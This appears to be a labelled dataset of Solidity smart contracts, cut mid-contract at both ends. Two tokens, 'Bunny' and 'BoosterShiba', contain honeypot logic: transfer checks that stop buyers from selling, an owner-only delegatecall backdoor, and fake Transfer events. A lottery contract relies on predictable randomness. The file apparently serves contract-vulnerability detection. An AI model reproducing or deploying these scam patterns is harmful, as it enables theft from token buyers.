function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Bunny {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,077 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BoosterShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,022 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TchainToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function TchainToken() public {
symbol = "Tchain";
name = "Transfer Chain";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x80409d751746129c18dbF29286297E9CF84175Fd] = _totalSupply;
Transfer(address(0), 0x80409d751746129c18dbF29286297E9CF84175Fd, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,373 |
pragma solidity^0.4.24;
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
interface MobiusToken {
function mint(address _to, uint _amount) external;
function finishMinting() external returns (bool);
function disburseDividends() external payable;
}
contract Mobius2D is DSMath, DSAuth {
string public ipfsHash;
string public ipfsHashType = "ipfs";
MobiusToken public token;
bool public upgraded;
address public nextVersion;
uint public totalSharesSold;
uint public totalEarningsGenerated;
uint public totalDividendsPaid;
uint public totalJackpotsWon;
uint public constant DEV_FRACTION = WAD / 20;
uint public constant DEV_DIVISOR = 20;
uint public constant RETURNS_FRACTION = 65 * 10**16;
uint public constant REFERRAL_FRACTION = 1 * 10**16;
uint public constant JACKPOT_SEED_FRACTION = WAD / 20;
uint public constant JACKPOT_FRACTION = 15 * 10**16;
uint public constant AIRDROP_FRACTION = WAD / 100;
uint public constant DIVIDENDS_FRACTION = 9 * 10**16;
uint public constant STARTING_SHARE_PRICE = 1 finney;
uint public constant PRICE_INCREASE_PERIOD = 1 hours;
uint public constant HARD_DEADLINE_DURATION = 30 days;
uint public constant SOFT_DEADLINE_DURATION = 1 days;
uint public constant TIME_PER_SHARE = 5 minutes;
uint public jackpotSeed;
uint public devBalance;
uint public raisedICO;
uint public unclaimedReturns;
uint public constant MULTIPLIER = RAY;
struct Investor {
uint lastCumulativeReturnsPoints;
uint shares;
}
struct MobiusRound {
uint totalInvested;
uint jackpot;
uint airdropPot;
uint totalShares;
uint cumulativeReturnsPoints;
uint hardDeadline;
uint softDeadline;
uint price;
uint lastPriceIncreaseTime;
address lastInvestor;
bool finalized;
mapping (address => Investor) investors;
}
struct Vault {
uint totalReturns;
uint refReturns;
}
mapping (address => Vault) vaults;
uint public latestRoundID;
MobiusRound[] rounds;
event SharesIssued(address indexed to, uint shares);
event ReturnsWithdrawn(address indexed by, uint amount);
event JackpotWon(address by, uint amount);
event AirdropWon(address by, uint amount);
event RoundStarted(uint indexed ID, uint hardDeadline);
event IPFSHashSet(string _type, string _hash);
constructor(address _token) public {
token = MobiusToken(_token);
}
function estimateReturns(address investor, uint roundID) public view
returns (uint totalReturns, uint refReturns)
{
MobiusRound storage rnd = rounds[roundID];
uint outstanding;
if(rounds.length > 1) {
if(hasReturns(investor, roundID - 1)) {
MobiusRound storage prevRnd = rounds[roundID - 1];
outstanding = _outstandingReturns(investor, prevRnd);
}
}
outstanding += _outstandingReturns(investor, rnd);
totalReturns = vaults[investor].totalReturns + outstanding;
refReturns = vaults[investor].refReturns;
}
function hasReturns(address investor, uint roundID) public view returns (bool) {
MobiusRound storage rnd = rounds[roundID];
return rnd.cumulativeReturnsPoints > rnd.investors[investor].lastCumulativeReturnsPoints;
}
function investorInfo(address investor, uint roundID) external view
returns(uint shares, uint totalReturns, uint referralReturns)
{
MobiusRound storage rnd = rounds[roundID];
shares = rnd.investors[investor].shares;
(totalReturns, referralReturns) = estimateReturns(investor, roundID);
}
function roundInfo(uint roundID) external view
returns(
address leader,
uint price,
uint jackpot,
uint airdrop,
uint shares,
uint totalInvested,
uint distributedReturns,
uint _hardDeadline,
uint _softDeadline,
bool finalized
)
{
MobiusRound storage rnd = rounds[roundID];
leader = rnd.lastInvestor;
price = rnd.price;
jackpot = rnd.jackpot;
airdrop = rnd.airdropPot;
shares = rnd.totalShares;
totalInvested = rnd.totalInvested;
distributedReturns = wmul(rnd.totalInvested, RETURNS_FRACTION);
_hardDeadline = rnd.hardDeadline;
_softDeadline = rnd.softDeadline;
finalized = rnd.finalized;
}
function totalsInfo() external view
returns(
uint totalReturns,
uint totalShares,
uint totalDividends,
uint totalJackpots
) {
MobiusRound storage rnd = rounds[latestRoundID];
if(rnd.softDeadline > now) {
totalShares = totalSharesSold + rnd.totalShares;
totalReturns = totalEarningsGenerated + wmul(rnd.totalInvested, RETURNS_FRACTION);
totalDividends = totalDividendsPaid + wmul(rnd.totalInvested, DIVIDENDS_FRACTION);
} else {
totalShares = totalSharesSold;
totalReturns = totalEarningsGenerated;
totalDividends = totalDividendsPaid;
}
totalJackpots = totalJackpotsWon;
}
function () public payable {
buyShares(address(0x0));
}
function buyShares(address ref) public payable {
if(rounds.length > 0) {
MobiusRound storage rnd = rounds[latestRoundID];
_purchase(rnd, msg.value, ref);
} else {
revert("Not yet started");
}
}
function reinvestReturns(uint value) public {
reinvestReturns(value, address(0x0));
}
function reinvestReturns(uint value, address ref) public {
MobiusRound storage rnd = rounds[latestRoundID];
_updateReturns(msg.sender, rnd);
require(vaults[msg.sender].totalReturns >= value, "Can't spend what you don't have");
vaults[msg.sender].totalReturns = sub(vaults[msg.sender].totalReturns, value);
vaults[msg.sender].refReturns = min(vaults[msg.sender].refReturns, vaults[msg.sender].totalReturns);
unclaimedReturns = sub(unclaimedReturns, value);
_purchase(rnd, value, ref);
}
function withdrawReturns() public {
MobiusRound storage rnd = rounds[latestRoundID];
if(rounds.length > 1) {
if(hasReturns(msg.sender, latestRoundID - 1)) {
MobiusRound storage prevRnd = rounds[latestRoundID - 1];
_updateReturns(msg.sender, prevRnd);
}
}
_updateReturns(msg.sender, rnd);
uint amount = vaults[msg.sender].totalReturns;
require(amount > 0, "Nothing to withdraw!");
unclaimedReturns = sub(unclaimedReturns, amount);
vaults[msg.sender].totalReturns = 0;
vaults[msg.sender].refReturns = 0;
rnd.investors[msg.sender].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
msg.sender.transfer(amount);
emit ReturnsWithdrawn(msg.sender, amount);
}
function updateMyReturns(uint roundID) public {
MobiusRound storage rnd = rounds[roundID];
_updateReturns(msg.sender, rnd);
}
function finalizeAndRestart() public payable {
finalizeLastRound();
startNewRound();
}
function startNewRound() public payable {
require(!upgraded, "This contract has been upgraded!");
if(rounds.length > 0) {
require(rounds[latestRoundID].finalized, "Previous round not finalized");
require(rounds[latestRoundID].softDeadline < now, "Previous round still running");
}
uint _rID = rounds.length++;
MobiusRound storage rnd = rounds[_rID];
latestRoundID = _rID;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_SHARE_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + SOFT_DEADLINE_DURATION;
rnd.jackpot = jackpotSeed;
jackpotSeed = 0;
_purchase(rnd, msg.value, address(0x0));
emit RoundStarted(_rID, rnd.hardDeadline);
}
function finalizeLastRound() public {
MobiusRound storage rnd = rounds[latestRoundID];
_finalizeRound(rnd);
}
function withdrawDevShare() public auth {
uint value = devBalance;
devBalance = 0;
msg.sender.transfer(value);
}
function setIPFSHash(string _type, string _hash) public auth {
ipfsHashType = _type;
ipfsHash = _hash;
emit IPFSHashSet(_type, _hash);
}
function upgrade(address _nextVersion) public auth {
require(_nextVersion != address(0x0), "Invalid Address!");
require(!upgraded, "Already upgraded!");
upgraded = true;
nextVersion = _nextVersion;
if(rounds[latestRoundID].finalized) {
vaults[nextVersion].totalReturns = jackpotSeed;
jackpotSeed = 0;
}
}
function _purchase(MobiusRound storage rnd, uint value, address ref) internal {
require(rnd.softDeadline >= now, "After deadline!");
require(value >= rnd.price/10, "Not enough Ether!");
rnd.totalInvested = add(rnd.totalInvested, value);
if(value >= rnd.price)
rnd.lastInvestor = msg.sender;
_airDrop(rnd, value);
_splitRevenue(rnd, value, ref);
_updateReturns(msg.sender, rnd);
uint newShares = _issueShares(rnd, msg.sender, value);
if(rounds.length == 1) {
token.mint(msg.sender, newShares);
}
uint timeIncreases = newShares/WAD;
uint newDeadline = add(rnd.softDeadline, mul(timeIncreases, TIME_PER_SHARE));
rnd.softDeadline = min(newDeadline, now + SOFT_DEADLINE_DURATION);
if(now > rnd.hardDeadline) {
if(now > rnd.lastPriceIncreaseTime + PRICE_INCREASE_PERIOD) {
rnd.price = rnd.price * 2;
rnd.lastPriceIncreaseTime = now;
}
}
}
function _finalizeRound(MobiusRound storage rnd) internal {
require(!rnd.finalized, "Already finalized!");
require(rnd.softDeadline < now, "Round still running!");
if(rounds.length == 1) {
require(token.finishMinting(), "Couldn't finish minting tokens!");
}
vaults[rnd.lastInvestor].totalReturns = add(vaults[rnd.lastInvestor].totalReturns, rnd.jackpot);
unclaimedReturns = add(unclaimedReturns, rnd.jackpot);
emit JackpotWon(rnd.lastInvestor, rnd.jackpot);
totalJackpotsWon += rnd.jackpot;
jackpotSeed = add(jackpotSeed, wmul(rnd.totalInvested, JACKPOT_SEED_FRACTION));
jackpotSeed = add(jackpotSeed, rnd.airdropPot);
if(upgraded) {
vaults[nextVersion].totalReturns = jackpotSeed;
jackpotSeed = 0;
}
uint _div;
if(rounds.length == 1){
_div = wmul(rnd.totalInvested, 2 * 10**16);
} else {
_div = wmul(rnd.totalInvested, DIVIDENDS_FRACTION);
}
token.disburseDividends.value(_div)();
totalDividendsPaid += _div;
totalSharesSold += rnd.totalShares;
totalEarningsGenerated += wmul(rnd.totalInvested, RETURNS_FRACTION);
rnd.finalized = true;
}
function _updateReturns(address _investor, MobiusRound storage rnd) internal {
if(rnd.investors[_investor].shares == 0) {
return;
}
uint outstanding = _outstandingReturns(_investor, rnd);
if (outstanding > 0) {
vaults[_investor].totalReturns = add(vaults[_investor].totalReturns, outstanding);
}
rnd.investors[_investor].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
function _outstandingReturns(address _investor, MobiusRound storage rnd) internal view returns(uint) {
if(rnd.investors[_investor].shares == 0) {
return 0;
}
uint newReturns = sub(
rnd.cumulativeReturnsPoints,
rnd.investors[_investor].lastCumulativeReturnsPoints
);
uint outstanding = 0;
if(newReturns != 0) {
outstanding = mul(newReturns, rnd.investors[_investor].shares) / MULTIPLIER;
}
return outstanding;
}
function _splitRevenue(MobiusRound storage rnd, uint value, address ref) internal {
uint roundReturns;
uint returnsOffset;
if(rounds.length == 1){
returnsOffset = 13 * 10**16;
}
if(ref != address(0x0)) {
roundReturns = wmul(value, RETURNS_FRACTION - REFERRAL_FRACTION - returnsOffset);
uint _ref = wmul(value, REFERRAL_FRACTION);
vaults[ref].totalReturns = add(vaults[ref].totalReturns, _ref);
vaults[ref].refReturns = add(vaults[ref].refReturns, _ref);
unclaimedReturns = add(unclaimedReturns, _ref);
} else {
roundReturns = wmul(value, RETURNS_FRACTION - returnsOffset);
}
uint airdrop = wmul(value, AIRDROP_FRACTION);
uint jackpot = wmul(value, JACKPOT_FRACTION);
uint dev;
if(rounds.length == 1){
dev = value / 4;
raisedICO += dev;
} else {
dev = value / DEV_DIVISOR;
}
if(rnd.totalShares == 0) {
rnd.jackpot = add(rnd.jackpot, roundReturns);
} else {
_disburseReturns(rnd, roundReturns);
}
rnd.airdropPot = add(rnd.airdropPot, airdrop);
rnd.jackpot = add(rnd.jackpot, jackpot);
devBalance = add(devBalance, dev);
}
function _disburseReturns(MobiusRound storage rnd, uint value) internal {
unclaimedReturns = add(unclaimedReturns, value);
if(rnd.totalShares == 0) {
rnd.cumulativeReturnsPoints = mul(value, MULTIPLIER) / wdiv(value, rnd.price);
} else {
rnd.cumulativeReturnsPoints = add(
rnd.cumulativeReturnsPoints,
mul(value, MULTIPLIER) / rnd.totalShares
);
}
}
function _issueShares(MobiusRound storage rnd, address _investor, uint value) internal returns(uint) {
if(rnd.investors[_investor].lastCumulativeReturnsPoints == 0) {
rnd.investors[_investor].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
uint newShares = wdiv(value, rnd.price);
if(value >= 100 ether) {
newShares = mul(newShares, 2);
} else if(value >= 10 ether) {
newShares = add(newShares, newShares/2);
} else if(value >= 1 ether) {
newShares = add(newShares, newShares/3);
} else if(value >= 100 finney) {
newShares = add(newShares, newShares/10);
}
rnd.investors[_investor].shares = add(rnd.investors[_investor].shares, newShares);
rnd.totalShares = add(rnd.totalShares, newShares);
emit SharesIssued(_investor, newShares);
return newShares;
}
function _airDrop(MobiusRound storage rnd, uint value) internal {
require(msg.sender == tx.origin, "ONLY HOOMANS (or scripts that don't use smart contracts)!");
if(value > 100 finney) {
uint chance = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), now)));
if(chance % 200 == 0) {
uint prize = rnd.airdropPot / 2;
rnd.airdropPot = rnd.airdropPot / 2;
vaults[msg.sender].totalReturns = add(vaults[msg.sender].totalReturns, prize);
unclaimedReturns = add(unclaimedReturns, prize);
totalJackpotsWon += prize;
emit AirdropWon(msg.sender, prize);
}
}
}
} | 1 | 2,907 |
pragma solidity ^0.4.24;
contract ExitScamsevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
